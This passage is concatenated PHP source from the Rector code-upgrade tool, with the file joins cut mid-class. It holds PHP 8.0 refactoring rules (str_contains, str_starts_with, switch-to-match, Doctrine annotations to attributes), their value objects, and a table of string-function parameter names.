[$strncmpMatchAndRefactor, $substrMatchAndRefactor, $strposMatchAndRefactor]; } public function provideMinPhpVersion() : int { return PhpVersionFeature::STR_STARTS_WITH; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change helper functions to str_starts_with()', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $isMatch = substr($haystack, 0, strlen($needle)) === $needle; $isNotMatch = substr($haystack, 0, strlen($needle)) !== $needle; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $isMatch = str_starts_with($haystack, $needle); $isNotMatch = ! str_starts_with($haystack, $needle); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Identical::class, NotIdentical::class, Equal::class, NotEqual::class]; } /** * @param Identical|NotIdentical|Equal|NotEqual $node */ public function refactor(Node $node) : ?Node { foreach ($this->strStartWithMatchAndRefactors as $strStartWithMatchAndRefactor) { $strStartsWithValueObject = $strStartWithMatchAndRefactor->match($node); if (!$strStartsWithValueObject instanceof StrStartsWith) { continue; } return $strStartWithMatchAndRefactor->refactorStrStartsWith($strStartsWithValueObject); } return null; } public function providePolyfillPackage() : string { return PolyfillPackage::PHP_80; } } valueResolver = $valueResolver; } public function provideMinPhpVersion() : int { return PhpVersionFeature::STR_CONTAINS; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Replace strpos() !== false and strstr() with str_contains()', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { return strpos('abc', 'a') !== false; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { return str_contains('abc', 'a'); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Identical::class, NotIdentical::class, Equal::class, NotEqual::class]; } /** * @param Identical|NotIdentical|Equal|NotEqual $node */ public function refactor(Node $node) : ?Node { $funcCall = $this->matchIdenticalOrNotIdenticalToFalse($node); if (!$funcCall instanceof FuncCall) { return null; } if ($funcCall->isFirstClassCallable()) { return null; } if (isset($funcCall->getArgs()[2])) { $secondArg = $funcCall->getArgs()[2]; if ($this->isName($funcCall->name, 'strpos') && !$this->isIntegerZero($secondArg->value)) { $funcCall->args[0] = new Arg($this->nodeFactory->createFuncCall('substr', [$funcCall->args[0], $secondArg])); } unset($funcCall->args[2]); } $funcCall->name = new Name('str_contains'); if ($node instanceof Identical || $node instanceof Equal) { return new BooleanNot($funcCall); } return $funcCall; } public function providePolyfillPackage() : string { return PolyfillPackage::PHP_80; } /** * @param \PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\BinaryOp\NotIdentical|\PhpParser\Node\Expr\BinaryOp\Equal|\PhpParser\Node\Expr\BinaryOp\NotEqual $expr */ private function matchIdenticalOrNotIdenticalToFalse($expr) : ?FuncCall { if ($this->valueResolver->isFalse($expr->left)) { if (!$expr->right instanceof FuncCall) { return null; } if (!$this->isNames($expr->right, self::OLD_STR_NAMES)) { return null; } /** @var FuncCall $funcCall */ $funcCall = $expr->right; return $funcCall; } if ($this->valueResolver->isFalse($expr->right)) { if (!$expr->left instanceof FuncCall) { return null; } if (!$this->isNames($expr->left, self::OLD_STR_NAMES)) { return null; } /** @var FuncCall $funcCall */ $funcCall = $expr->left; return $funcCall; } return null; } private function isIntegerZero(Expr $expr) : bool { if (!$expr instanceof LNumber) { return \false; } return $expr->value === 0; } } useImportsResolver = $useImportsResolver; $this->phpDocTagRemover = $phpDocTagRemover; $this->nestedAttrGroupsFactory = $nestedAttrGroupsFactory; $this->useNodesToAddCollector = $useNodesToAddCollector; $this->docBlockUpdater = $docBlockUpdater; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changed nested annotations to attributes', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' use Doctrine\ORM\Mapping as ORM; class SomeEntity { /** * @ORM\JoinTable(name="join_table_name", * joinColumns={@ORM\JoinColumn(name="origin_id")}, * inverseJoinColumns={@ORM\JoinColumn(name="target_id")} * ) */ private $collection; } CODE_SAMPLE , <<<'CODE_SAMPLE' use Doctrine\ORM\Mapping as ORM; class SomeEntity { #[ORM\JoinTable(name: 'join_table_name')] #[ORM\JoinColumn(name: 'origin_id')] #[ORM\InverseJoinColumn(name: 'target_id')] private $collection; } CODE_SAMPLE , [new NestedAnnotationToAttribute('Doctrine\\ORM\\Mapping\\JoinTable', [new AnnotationPropertyToAttributeClass('Doctrine\\ORM\\Mapping\\JoinColumn', 'joinColumns'), new AnnotationPropertyToAttributeClass('Doctrine\\ORM\\Mapping\\InverseJoinColumn', 'inverseJoinColumns')])])]); } /** * @return array> */ public function getNodeTypes() : array { return [Property::class, Class_::class, Param::class]; } /** * @param Property|Class_|Param $node */ public function refactor(Node $node) : ?Node { $phpDocInfo = $this->phpDocInfoFactory->createFromNode($node); if (!$phpDocInfo instanceof PhpDocInfo) { return null; } $uses = $this->useImportsResolver->resolveBareUses(); $attributeGroups = $this->transformDoctrineAnnotationClassesToAttributeGroups($phpDocInfo, $uses); if ($attributeGroups === []) { return null; } // 3. Reprint docblock $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($node); $node->attrGroups = \array_merge($node->attrGroups, $attributeGroups); $this->completeExtraUseImports($attributeGroups); return $node; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsInstanceOf($configuration, NestedAnnotationToAttribute::class); $this->nestedAnnotationsToAttributes = $configuration; } public function provideMinPhpVersion() : int { return PhpVersion::PHP_80; } /** * @param Use_[] $uses * @return AttributeGroup[] */ private function transformDoctrineAnnotationClassesToAttributeGroups(PhpDocInfo $phpDocInfo, array $uses) : array { if ($phpDocInfo->getPhpDocNode()->children === []) { return []; } $nestedDoctrineTagAndAnnotationToAttributes = []; foreach ($phpDocInfo->getPhpDocNode()->children as $phpDocChildNode) { if (!$phpDocChildNode instanceof PhpDocTagNode) { continue; } if (!$phpDocChildNode->value instanceof DoctrineAnnotationTagValueNode) { continue; } $doctrineTagValueNode = $phpDocChildNode->value; $nestedAnnotationToAttribute = $this->matchAnnotationToAttribute($doctrineTagValueNode); if (!$nestedAnnotationToAttribute instanceof NestedAnnotationToAttribute) { continue; } $this->phpDocTagRemover->removeTagValueFromNode($phpDocInfo, $doctrineTagValueNode); $nestedDoctrineTagAndAnnotationToAttributes[] = new NestedDoctrineTagAndAnnotationToAttribute($doctrineTagValueNode, $nestedAnnotationToAttribute); } return $this->nestedAttrGroupsFactory->create($nestedDoctrineTagAndAnnotationToAttributes, $uses); } private function matchAnnotationToAttribute(DoctrineAnnotationTagValueNode $doctrineAnnotationTagValueNode) : ?\Rector\Php80\ValueObject\NestedAnnotationToAttribute { $doctrineResolvedClass = $doctrineAnnotationTagValueNode->identifierTypeNode->getAttribute(PhpDocAttributeKey::RESOLVED_CLASS); foreach ($this->nestedAnnotationsToAttributes as $nestedAnnotationToAttribute) { foreach ($nestedAnnotationToAttribute->getAnnotationPropertiesToAttributeClasses() as $annotationClass) { if ($annotationClass->getAttributeClass() === $doctrineResolvedClass) { return $nestedAnnotationToAttribute; } } if ($doctrineResolvedClass !== $nestedAnnotationToAttribute->getTag()) { continue; } return $nestedAnnotationToAttribute; } return null; } /** * @param AttributeGroup[] $attributeGroups */ private function completeExtraUseImports(array $attributeGroups) : void { foreach ($attributeGroups as $attributeGroup) { foreach ($attributeGroup->attrs as $attr) { $namespacedAttrName = $attr->name->getAttribute(AttributeKey::EXTRA_USE_IMPORT); if (!\is_string($namespacedAttrName)) { continue; } $this->useNodesToAddCollector->addUseImport(new FullyQualifiedObjectType($namespacedAttrName)); } } } } switchExprsResolver = $switchExprsResolver; $this->matchSwitchAnalyzer = $matchSwitchAnalyzer; $this->matchFactory = $matchFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change switch() to match()', [new CodeSample(<<<'CODE_SAMPLE' switch ($input) { case Lexer::T_SELECT: $statement = 'select'; break; case Lexer::T_UPDATE: $statement = 'update'; break; default: $statement = 'error'; } CODE_SAMPLE , <<<'CODE_SAMPLE' $statement = match ($input) { Lexer::T_SELECT => 'select', Lexer::T_UPDATE => 'update', default => 'error', }; CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { if (!\is_array($node->stmts)) { return null; } $hasChanged = \false; foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof Switch_) { continue; } $nextStmt = $node->stmts[$key + 1] ?? null; $condAndExprs = $this->switchExprsResolver->resolve($stmt); if ($this->matchSwitchAnalyzer->shouldSkipSwitch($stmt, $condAndExprs, $nextStmt)) { continue; } if (!$this->matchSwitchAnalyzer->haveCondAndExprsMatchPotential($condAndExprs)) { continue; } $isReturn = $this->matchSwitchAnalyzer->isReturnCondsAndExprs($condAndExprs); if ($this->nodeTypeResolver->getType($stmt->cond) instanceof ObjectType) { continue; } $matchResult = $this->matchFactory->createFromCondAndExprs($stmt->cond, $condAndExprs, $nextStmt); if (!$matchResult instanceof MatchResult) { continue; } $match = $matchResult->getMatch(); if ($matchResult->shouldRemoveNextStmt() && $isReturn) { /** @var Return_ $returnStatement */ $returnStatement = $node->stmts[$key + 1]; $returnComment = $returnStatement->getComments(); if ($returnComment !== []) { foreach ($match->arms as $arm) { if ($arm->conds === null) { $this->mirrorComments($arm, $returnStatement); break; } } } unset($node->stmts[$key + 1]); } $assignVar = $this->resolveAssignVar($condAndExprs); $hasDefaultValue = $this->matchSwitchAnalyzer->hasDefaultValue($match); $this->castMatchCond($match); if ($assignVar instanceof Expr) { if (!$hasDefaultValue) { continue; } $assign = new Assign($assignVar, $match); $node->stmts[$key] = new Expression($assign); $this->mirrorComments($node->stmts[$key], $stmt); $hasChanged = \true; continue; } if (!$hasDefaultValue) { continue; } $node->stmts[$key] = $isReturn ? new Return_($match) : new Expression($match); $this->mirrorComments($node->stmts[$key], $stmt); $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::MATCH_EXPRESSION; } private function castMatchCond(Match_ $match) : void { $type = $this->nodeTypeResolver->getNativeType($match->cond); $isNativeCondString = $type->isString()->yes(); $isNativeCondInt = $type->isInteger()->yes(); if (!$isNativeCondString && !$isNativeCondInt) { return; } $armCondType = []; $newMatchCond = null; foreach ($match->arms as $arm) { if ($arm->conds === null) { continue; } foreach ($arm->conds as $armCond) { $armCondType = $this->nodeTypeResolver->getNativeType($armCond); if ($armCondType->isInteger()->yes() && $isNativeCondString) { $newMatchCond = new Int_($match->cond); } elseif ($armCondType->isString()->yes() && $isNativeCondInt) { $newMatchCond = new String_($match->cond); } else { $newMatchCond = null; break; } } } if ($newMatchCond instanceof Cast) { $match->cond = $newMatchCond; } } /** * @param CondAndExpr[] $condAndExprs */ private function resolveAssignVar(array $condAndExprs) : ?Expr { foreach ($condAndExprs as $condAndExpr) { $expr = $condAndExpr->getExpr(); if (!$expr instanceof Assign) { continue; } return $expr->var; } return null; } } > */ public function getNodeTypes() : array { return [Ternary::class]; } /** * @param Ternary $node */ public function refactor(Node $node) : ?Node { if ($this->shouldSkip($node)) { return null; } if (!$this->areValuesIdentical($node)) { return null; } /** @var FuncCall|ClassConstFetch $getClassFuncCallOrClassConstFetchClass */ $getClassFuncCallOrClassConstFetchClass = $node->if; $firstExpr = $getClassFuncCallOrClassConstFetchClass instanceof FuncCall ? $getClassFuncCallOrClassConstFetchClass->getArgs()[0]->value : $getClassFuncCallOrClassConstFetchClass->class; return $this->nodeFactory->createFuncCall('get_debug_type', [$firstExpr]); } public function providePolyfillPackage() : string { return PolyfillPackage::PHP_80; } private function shouldSkip(Ternary $ternary) : bool { if (!$ternary->cond instanceof FuncCall) { return \true; } if ($ternary->cond->isFirstClassCallable()) { return \true; } if (!isset($ternary->cond->getArgs()[0])) { return \true; } if (!$this->nodeNameResolver->isName($ternary->cond, 'is_object')) { return \true; } if (!$ternary->if instanceof FuncCall) { if (!$ternary->if instanceof ClassConstFetch) { return \true; } return $this->shouldSkipClassConstFetch($ternary->if); } if (!$this->nodeNameResolver->isName($ternary->if, 'get_class')) { return \true; } if (!$ternary->else instanceof FuncCall) { return \true; } if ($ternary->else->isFirstClassCallable()) { return \true; } return !$this->nodeNameResolver->isName($ternary->else, 'gettype'); } private function shouldSkipClassConstFetch(ClassConstFetch $classConstFetch) : bool { if (!$classConstFetch->name instanceof Identifier) { return \true; } return $classConstFetch->name->toString() !== 'class'; } private function areValuesIdentical(Ternary $ternary) : bool { /** @var FuncCall $isObjectFuncCall */ $isObjectFuncCall = $ternary->cond; if ($isObjectFuncCall->isFirstClassCallable()) { return \false; } $firstExpr = $isObjectFuncCall->getArgs()[0]->value; /** @var FuncCall|ClassConstFetch $getClassFuncCallOrClassConstFetchClass */ $getClassFuncCallOrClassConstFetchClass = $ternary->if; if ($getClassFuncCallOrClassConstFetchClass instanceof FuncCall && !$getClassFuncCallOrClassConstFetchClass->args[0] instanceof Arg) { return \false; } $secondExpr = $getClassFuncCallOrClassConstFetchClass instanceof FuncCall ? $getClassFuncCallOrClassConstFetchClass->getArgs()[0]->value : $getClassFuncCallOrClassConstFetchClass->class; $gettypeFuncCall = $ternary->else; if (!$gettypeFuncCall instanceof FuncCall) { return \false; } if (!$gettypeFuncCall->args[0] instanceof Arg) { return \false; } $thirdExpr = $gettypeFuncCall->args[0]->value; if (!$this->nodeComparator->areNodesEqual($firstExpr, $secondExpr)) { return \false; } return $this->nodeComparator->areNodesEqual($firstExpr, $thirdExpr); } } attributeClass = $attributeClass; $this->annotationProperty = $annotationProperty; $this->doesNeedNewImport = $doesNeedNewImport; RectorAssert::className($attributeClass); } /** * @return int|string|null */ public function getAnnotationProperty() { return $this->annotationProperty; } public function getAttributeClass() : string { return $this->attributeClass; } public function doesNeedNewImport() : bool { return $this->doesNeedNewImport; } } tag = $tag; $this->attributeClass = $attributeClass; $this->classReferenceFields = $classReferenceFields; RectorAssert::className($tag); if (\is_string($attributeClass)) { RectorAssert::className($attributeClass); } Assert::allString($classReferenceFields); } public function getTag() : string { return $this->tag; } public function getAttributeClass() : string { if ($this->attributeClass === null) { return $this->tag; } return $this->attributeClass; } /** * @return string[] */ public function getClassReferenceFields() : array { return $this->classReferenceFields; } } condExprs = $condExprs; $this->expr = $expr; $this->matchKind = $matchKind; } public function getExpr() : Expr { return $this->expr; } /** * @return Expr[]|null */ public function getCondExprs() : ?array { // internally checked by PHPStan, cannot be empty array if ($this->condExprs === []) { return null; } return $this->condExprs; } /** * @return MatchKind::* */ public function getMatchKind() : string { return $this->matchKind; } /** * @param MatchKind::* $matchKind */ public function equalsMatchKind(string $matchKind) : bool { return $this->matchKind === $matchKind; } } doctrineAnnotationTagValueNode = $doctrineAnnotationTagValueNode; $this->annotationToAttribute = $annotationToAttribute; } public function getDoctrineAnnotationTagValueNode() : DoctrineAnnotationTagValueNode { return $this->doctrineAnnotationTagValueNode; } public function getAnnotationToAttribute() : \Rector\Php80\ValueObject\AnnotationToAttribute { return $this->annotationToAttribute; } } match = $match; $this->shouldRemoveNextStmt = $shouldRemoveNextStmt; } public function getMatch() : Match_ { return $this->match; } public function shouldRemoveNextStmt() : bool { return $this->shouldRemoveNextStmt; } } |string[]|AnnotationPropertyToAttributeClass[] $annotationPropertiesToAttributeClasses */ public function __construct(string $tag, array $annotationPropertiesToAttributeClasses, bool $removeOriginal = \false) { $this->tag = $tag; $this->removeOriginal = $removeOriginal; RectorAssert::className($tag); // back compatibility for raw scalar values foreach ($annotationPropertiesToAttributeClasses as $annotationProperty => $attributeClass) { if ($attributeClass instanceof \Rector\Php80\ValueObject\AnnotationPropertyToAttributeClass) { $this->annotationPropertiesToAttributeClasses[] = $attributeClass; } else { $this->annotationPropertiesToAttributeClasses[] = new \Rector\Php80\ValueObject\AnnotationPropertyToAttributeClass($attributeClass, $annotationProperty); } } } public function getTag() : string { return $this->tag; } /** * @return AnnotationPropertyToAttributeClass[] */ public function getAnnotationPropertiesToAttributeClasses() : array { return $this->annotationPropertiesToAttributeClasses; } public function getAttributeClass() : string { return $this->tag; } public function shouldRemoveOriginal() : bool { return $this->removeOriginal; } public function hasExplicitParameters() : bool { foreach ($this->annotationPropertiesToAttributeClasses as $annotationPropertyToAttributeClass) { if (\is_string($annotationPropertyToAttributeClass->getAnnotationProperty())) { return \true; } } return \false; } } doctrineAnnotationTagValueNode = $doctrineAnnotationTagValueNode; $this->nestedAnnotationToAttribute = $nestedAnnotationToAttribute; } public function getDoctrineAnnotationTagValueNode() : DoctrineAnnotationTagValueNode { return $this->doctrineAnnotationTagValueNode; } public function getNestedAnnotationToAttribute() : \Rector\Php80\ValueObject\NestedAnnotationToAttribute { return $this->nestedAnnotationToAttribute; } } property = $property; $this->param = $param; $this->expression = $expression; } public function getProperty() : Property { return $this->property; } public function getParam() : Param { return $this->param; } public function getParamName() : string { $paramVar = $this->param->var; if (!$paramVar instanceof Variable) { throw new ShouldNotHappenException(); } if (!\is_string($paramVar->name)) { throw new ShouldNotHappenException(); } return $paramVar->name; } public function getStmtPosition() : int { return $this->expression->getAttribute(AttributeKey::STMT_KEY); } } funcCall = $funcCall; $this->haystackExpr = $haystackExpr; $this->needleExpr = $needleExpr; $this->isPositive = $isPositive; } public function getFuncCall() : FuncCall { return $this->funcCall; } public function getHaystackExpr() : Expr { return $this->haystackExpr; } public function isPositive() : bool { return $this->isPositive; } public function getNeedleExpr() : Expr { return $this->needleExpr; } } isFirstClassCallable()) { return null; } if (\count($funcCall->getArgs()) < 2) { return null; } $haystack = $funcCall->getArgs()[0]->value; $needle = $funcCall->getArgs()[1]->value; return new StrStartsWith($funcCall, $haystack, $needle, $isPositive); } } */ public const FUNCTION_TO_PARAM_NAMES = ['preg_split' => ['subject'], 'preg_match' => ['subject'], 'preg_match_all' => ['subject'], 'preg_filter' => ['replacement', 'subject'], 'preg_replace' => ['replacement', 'subject'], 'preg_replace_callback' => ['subject'], 'preg_replace_callback_array' => ['subject'], 'explode' => ['string'], 'strlen' => ['string'], 'str_contains' => ['haystack', 'needle'], 'strtotime' => ['datetime'], 'str_replace' => ['subject'], 'substr_replace' => ['string', 'replace'], 'str_ireplace' => ['search', 'replace', 'subject'], 'substr' => ['string'], 'str_starts_with' => ['haystack', 'needle'], 'strtoupper' => ['string'], 'strtolower' => ['string'], 'strpos' => ['haystack', 'needle'], 'stripos' => ['haystack', 'needle'], 'json_decode' => ['json'], 'urlencode' => ['string'], 'urldecode' => ['string'], 'rawurlencode' => ['string'], 'rawurldecode' => ['string'], 'base64_encode' => ['string'], 'base64_decode' => ['string'], 'utf8_encode' => ['string'], 'utf8_decode' => ['string'], 'bin2hex' => ['string'], 'hex2bin' => ['string'], 'hexdec' => ['hex_string'], 'octdec' => ['octal_string'], 'base_convert' => ['num'], 'htmlspecialchars' => ['string'], 'htmlspecialchars_decode' => ['string'], 'html_entity_decode' => ['string'], 'htmlentities' => ['string'], 'addslashes' => ['string'], 'addcslashes' => ['string', 'characters'], 'stripslashes' => ['string'], 'stripcslashes' => ['string'], 'quotemeta' => ['string'], 'quoted_printable_decode' => ['string'], 'quoted_printable_encode' => ['string'], 'escapeshellarg' => ['arg'], 'curl_escape' => ['string'], 'curl_unescape' => ['string'], 'convert_uuencode' => ['string'], 'setcookie' => ['value', 'path', 'domain'], 'setrawcookie' => ['value', 'path', 'domain'], 'zlib_encode' => ['data'], 'gzdeflate' => ['data'], 'gzencode' => ['data'], 'gzcompress' => ['data'], 'gzwrite' => ['data'], 'gzputs' => ['data'], 'deflate_add' => ['data'], 'inflate_add' => ['data'], 'unpack' => ['format', 'string'], 'iconv_mime_encode' => ['field_name', 'field_value'], 'iconv_mime_decode' => ['string'], 'iconv' => ['from_encoding', 'to_encoding', 'string'], 'sodium_bin2hex' => ['string'], 'sodium_hex2bin' => ['string', 'ignore'], 'sodium_bin2base64' => ['string'], 'sodium_base642bin' => ['string', 'ignore'], 'mb_detect_encoding' => ['string'], 'mb_encode_mimeheader' => ['string'], 'mb_decode_mimeheader' => ['string'], 'mb_encode_numericentity' => ['string'], 'mb_decode_numericentity' => ['string'], 'transliterator_transliterate' => ['string'], 'mysqli_real_escape_string' => ['string'], 'mysqli_escape_string' => ['string'], 'pg_escape_bytea' => ['string'], 'pg_escape_literal' => ['string'], 'pg_escape_string' => ['string'], 'pg_unescape_bytea' => ['string'], 'ucfirst' => ['string'], 'lcfirst' => ['string'], 'ucwords' => ['string'], 'trim' => ['string'], 'ltrim' => ['string'], 'rtrim' => ['string'], 'chop' => ['string'], 'str_rot13' => ['string'], 'str_shuffle' => ['string'], 'substr_count' => ['haystack', 'needle'], 'strcoll' => ['string1', 'string2'], 'str_split' => ['string'], 'chunk_split' => ['string'], 'wordwrap' => ['string'], 'strrev' => ['string'], 'str_repeat' => ['string'], 'str_pad' => ['string'], 'nl2br' => ['string'], 'strip_tags' => ['string'], 'hebrev' => ['string'], 'iconv_substr' => ['string'], 'mb_strtoupper' => ['string'], 'mb_strtolower' => ['string'], 'mb_convert_case' => ['string'], 'mb_convert_kana' => ['string'], 'mb_convert_encoding' => ['string'], 'mb_scrub' => ['string'], 'mb_substr' => ['string'], 'mb_substr_count' => ['haystack', 'needle'], 'mb_str_split' => ['string'], 'mb_split' => ['pattern', 'string'], 'sodium_pad' => ['string'], 'grapheme_substr' => ['string'], 'strrpos' => ['haystack', 'needle'], 'strripos' => ['haystack', 'needle'], 'iconv_strpos' => ['haystack', 'needle'], 'iconv_strrpos' => ['haystack', 'needle'], 'mb_strpos' => ['haystack', 'needle'], 'mb_strrpos' => ['haystack', 'needle'], 'mb_stripos' => ['haystack', 'needle'], 'mb_strripos' => ['haystack', 'needle'], 'grapheme_extract' => ['haystack'], 'grapheme_strpos' => ['haystack', 'needle'], 'grapheme_strrpos' => ['haystack', 'needle'], 'grapheme_stripos' => ['haystack', 'needle'], 'grapheme_strripos' => ['haystack', 'needle'], 'strcmp' => ['string1', 'string2'], 'strncmp' => ['string1', 'string2'], 'strcasecmp' => ['string1', 'string2'], 'strncasecmp' => ['string1', 'string2'], 'strnatcmp' => ['string1', 'string2'], 'strnatcasecmp' => ['string1', 'string2'], 'substr_compare' => ['haystack', 'needle'], 'str_ends_with' => ['haystack', 'needle'], 'collator_compare' => ['string1', 'string2'], 'collator_get_sort_key' => ['string'], 'metaphone' => ['string'], 'soundex' => ['string'], 'levenshtein' => ['string1', 'string2'], 'similar_text' => ['string1', 'string2'], 'sodium_compare' => ['string1', 'string2'], 'sodium_memcmp' => ['string1', 'string2'], 'strstr' => ['haystack', 'needle'], 'strchr' => ['haystack', 'needle'], 'stristr' => ['haystack', 'needle'], 'strrchr' => ['haystack', 'needle'], 'strpbrk' => ['string', 'characters'], 'strspn' => ['string', 'characters'], 'strcspn' => ['string', 'characters'], 'strtr' => ['string'], 'strtok' => ['string'], 'str_word_count' => ['string'], 'count_chars' => ['string'], 'iconv_strlen' => ['string'], 'mb_strlen' => ['string'], 'mb_strstr' => ['haystack', 'needle'], 'mb_strrchr' => ['haystack', 'needle'], 'mb_stristr' => ['haystack', 'needle'], 'mb_strrichr' => ['haystack', 'needle'], 'mb_strcut' => ['string'], 'mb_strwidth' => ['string'], 'mb_strimwidth' => ['string', 'trim_marker'], 'grapheme_strlen' => ['string'], 'grapheme_strstr' => ['haystack', 'needle'], 'grapheme_stristr' => ['haystack', 'needle'], 'preg_quote' => ['str'], 'mb_ereg' => ['pattern', 'string'], 'mb_eregi' => ['pattern', 'string'], 'mb_ereg_replace' => ['pattern', 'replacement', 'string'], 'mb_eregi_replace' => ['pattern', 'replacement', 'string'], 'mb_ereg_replace_callback' => ['pattern', 'string'], 'mb_ereg_match' => ['pattern', 'string'], 'mb_ereg_search_init' => ['string'], 'normalizer_normalize' => ['string'], 'normalizer_is_normalized' => ['string'], 'normalizer_get_raw_decomposition' => ['string'], 'numfmt_parse' => ['string'], 'hash' => ['algo', 'data'], 'hash_hmac' => ['algo', 'data', 'key'], 'hash_update' => ['data'], 'hash_pbkdf2' => ['algo', 'password', 'salt'], 'crc32' => ['string'], 'md5' => ['string'], 'sha1' => ['string'], 'crypt' => ['string', 'salt'], 'basename' => ['path'], 'dirname' => ['path'], 'pathinfo' => ['path'], 'sscanf' => ['string'], 'fwrite' => ['data'], 'fputs' => ['data'], 'output_add_rewrite_var' => ['name', 'value'], 'parse_url' => ['url'], 'parse_str' => ['string'], 'mb_parse_str' => ['string'], 'parse_ini_string' => ['ini_string'], 'locale_accept_from_http' => ['header'], 'msgfmt_parse' => ['string'], 'msgfmt_parse_message' => ['locale', 'pattern', 'message'], 'str_getcsv' => ['string'], 'fgetcsv' => ['escape'], 'fputcsv' => ['escape'], 'password_hash' => ['password'], 'password_verify' => ['password', 'hash'], 'bcadd' => ['num1', 'num2'], 'bcsub' => ['num1', 'num2'], 'bcmul' => ['num1', 'num2'], 'bcdiv' => ['num1', 'num2'], 'bcmod' => ['num1', 'num2'], 'bcpow' => ['num', 'exponent'], 'bcpowmod' => ['num', 'exponent', 'modulus'], 'bcsqrt' => ['num'], 'bccomp' => ['num1', 'num2'], 'simplexml_load_string' => ['data'], 'xml_parse' => ['data'], 'xml_parse_into_struct' => ['data'], 'xml_parser_create_ns' => ['separator'], 'xmlwriter_set_indent_string' => ['indentation'], 'xmlwriter_write_attribute' => ['name', 'value'], 'xmlwriter_write_attribute_ns' => ['value'], 'xmlwriter_write_pi' => ['target', 'content'], 'xmlwriter_write_cdata' => ['content'], 'xmlwriter_text' => ['content'], 'xmlwriter_write_raw' => ['content'], 'xmlwriter_write_comment' => ['content'], 'xmlwriter_write_dtd' => ['name'], 'xmlwriter_write_dtd_element' => ['name', 'content'], 'xmlwriter_write_dtd_attlist' => ['name', 'content'], 'xmlwriter_write_dtd_entity' => ['name', 'content'], 'sodium_crypto_aead_aes256gcm_encrypt' => ['message', 'additional_data', 'nonce', 'key'], 'sodium_crypto_aead_aes256gcm_decrypt' => ['ciphertext', 'additional_data', 'nonce', 'key'], 'sodium_crypto_aead_chacha20poly1305_encrypt' => ['message', 'additional_data', 'nonce', 'key'], 'sodium_crypto_aead_chacha20poly1305_decrypt' => ['ciphertext', 'additional_data', 'nonce', 'key'], 'sodium_crypto_aead_chacha20poly1305_ietf_encrypt' => ['message', 'additional_data', 'nonce', 'key'], 'sodium_crypto_aead_chacha20poly1305_ietf_decrypt' => ['ciphertext', 'additional_data', 'nonce', 'key'], 'sodium_crypto_aead_xchacha20poly1305_ietf_encrypt' => ['message', 'additional_data', 'nonce', 'key'], 'sodium_crypto_aead_xchacha20poly1305_ietf_decrypt' => ['ciphertext', 'additional_data', 'nonce', 'key'], 'sodium_crypto_auth' => ['message', 'key'], 'sodium_crypto_auth_verify' => ['mac', 'message', 'key'], 'sodium_crypto_box' => ['message', 'nonce', 'key_pair'], 'sodium_crypto_box_seal' => ['message', 'public_key'], 'sodium_crypto_generichash' => ['message'], 'sodium_crypto_generichash_update' => ['message'], 'sodium_crypto_secretbox' => ['message', 'nonce', 'key'], 'sodium_crypto_secretstream_xchacha20poly1305_push' => ['message'], 'sodium_crypto_secretstream_xchacha20poly1305_pull' => ['ciphertext'], 'sodium_crypto_shorthash' => ['message', 'key'], 'sodium_crypto_sign' => ['message', 'secret_key'], 'sodium_crypto_sign_detached' => ['message'], 'sodium_crypto_sign_open' => ['signed_message', 'public_key'], 'sodium_crypto_sign_verify_detached' => ['signature', 'message', 'public_key'], 'sodium_crypto_stream_xor' => ['message', 'nonce', 'key'], 'sodium_crypto_stream_xchacha20_xor' => ['message', 'nonce', 'key'], 'imagechar' => ['char'], 'imagecharup' => ['char'], 'imageftbbox' => ['string'], 'imagefttext' => ['text'], 'imagestring' => ['string'], 'imagestringup' => ['string'], 'imagettfbbox' => ['string'], 'imagettftext' => ['text'], 'pspell_add_to_personal' => ['word'], 'pspell_add_to_session' => ['word'], 'pspell_check' => ['word'], 'pspell_config_create' => ['language', 'spelling', 'jargon', 'encoding'], 'pspell_new' => ['spelling', 'jargon', 'encoding'], 'pspell_new_personal' => ['spelling', 'jargon', 'encoding'], 'pspell_store_replacement' => ['correct'], 'pspell_suggest' => ['word'], 'stream_get_line' => ['ending'], 'stream_socket_sendto' => ['data'], 'socket_sendto' => ['data'], 'socket_write' => ['data'], 'socket_send' => ['data'], 'mail' => ['to', 'subject', 'message'], 'mb_send_mail' => ['to', 'subject', 'message'], 'ctype_alnum' => ['text'], 'ctype_alpha' => ['text'], 'ctype_cntrl' => ['text'], 'ctype_digit' => ['text'], 'ctype_graph' => ['text'], 'ctype_lower' => ['text'], 'ctype_print' => ['text'], 'ctype_punct' => ['text'], 'ctype_space' => ['text'], 'ctype_upper' => ['text'], 'ctype_xdigit' => ['text'], 'uniqid' => ['prefix']]; } complexNewAnalyzer = $complexNewAnalyzer; $this->nodeNameResolver = $nodeNameResolver; } /** * Matches * * $this->value = $param ?? 'default'; */ public function matchCoalesceAssignsToLocalPropertyNamed(Stmt $stmt, string $propertyName) : ?Coalesce { if (!$stmt instanceof Expression) { return null; } if (!$stmt->expr instanceof Assign) { return null; } $assign = $stmt->expr; if (!$assign->expr instanceof Coalesce) { return null; } $coalesce = $assign->expr; if (!$coalesce->right instanceof New_) { return null; } if ($this->complexNewAnalyzer->isDynamic($coalesce->right)) { return null; } if (!$this->isLocalPropertyFetchNamed($assign->var, $propertyName)) { return null; } return $assign->expr; } private function isLocalPropertyFetchNamed(Expr $expr, string $propertyName) : bool { if (!$expr instanceof PropertyFetch) { return \false; } if (!$this->nodeNameResolver->isName($expr->var, 'this')) { return \false; } return $this->nodeNameResolver->isName($expr->name, $propertyName); } } exprAnalyzer = $exprAnalyzer; } public function 